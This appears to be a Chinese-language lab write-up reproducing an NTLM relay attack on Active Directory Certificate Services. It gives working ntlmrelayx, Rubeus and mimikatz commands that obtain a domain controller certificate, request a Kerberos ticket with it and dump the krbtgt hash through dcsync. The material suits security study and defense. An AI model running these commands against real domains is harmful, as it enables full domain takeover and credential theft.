ADCS中继攻击复现

ADCS中继攻击

环境

hacker.com

域控(Windows server 2016):192.168.179.136

域内ADCS服务器(Windows server 2012):192.168.179.138

攻击机:192.168.179.132

复现

ADCS的http证书接⼝没有启⽤NTLM中继保护,因此其易受NTLM Relay攻击。⽽且Authorization HTTP 标头明确只允许通过 NTLM 身份验证,因此Kerberos协议⽆法使⽤。因此,攻击者可以利⽤NTLM Relay攻击ADCS

搭建ADCS服务的机器和受害者主机(一般是域控)是同一台是不能利用,因为不能relay自己。

环境搭建过程参考:https://cloud.tencent.com/developer/article/1873728

XtzN0x.png

Authorization HTTP头允许通过NTLM进行身份验证

Xtztn1.png

开启监听,老版本impacket没有这个功能,需要新的impacket:https://github.com/ExAndroidDev/impacket/tree/ntlmrelayx-adcs-attack

1
python3 ntlmrelayx.py -t http://192.168.179.138/certsrv/certfnsh.asp -smb2support --adcs --template 'domain controller'

然后利用打印机漏洞强制域控访问kali,用PetitPotam或printerbug都可以,需要输入一个普通域用户和密码

XtzU76.png

监听成功获取到base64编码的证书数据

XtzdAK.png

Rubeus导入证书数据,WIN-3M4FNJUCANJ是域控机器名

1
Rubeus.exe asktgt /user:WIN-3M4FNJUCANJ$ /certificate:打印出来的base64证书数据 /ptt

XtzJXR.png

mimikatz导出域内任意⽤户哈希

1
2
3
4
5
mimikatz.exe
#查看kerberos票据
kerberos::list
#导出krbtgt⽤户的hash
lsadump::dcsync /user:krbtgt /csv

XtzwtO.png


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!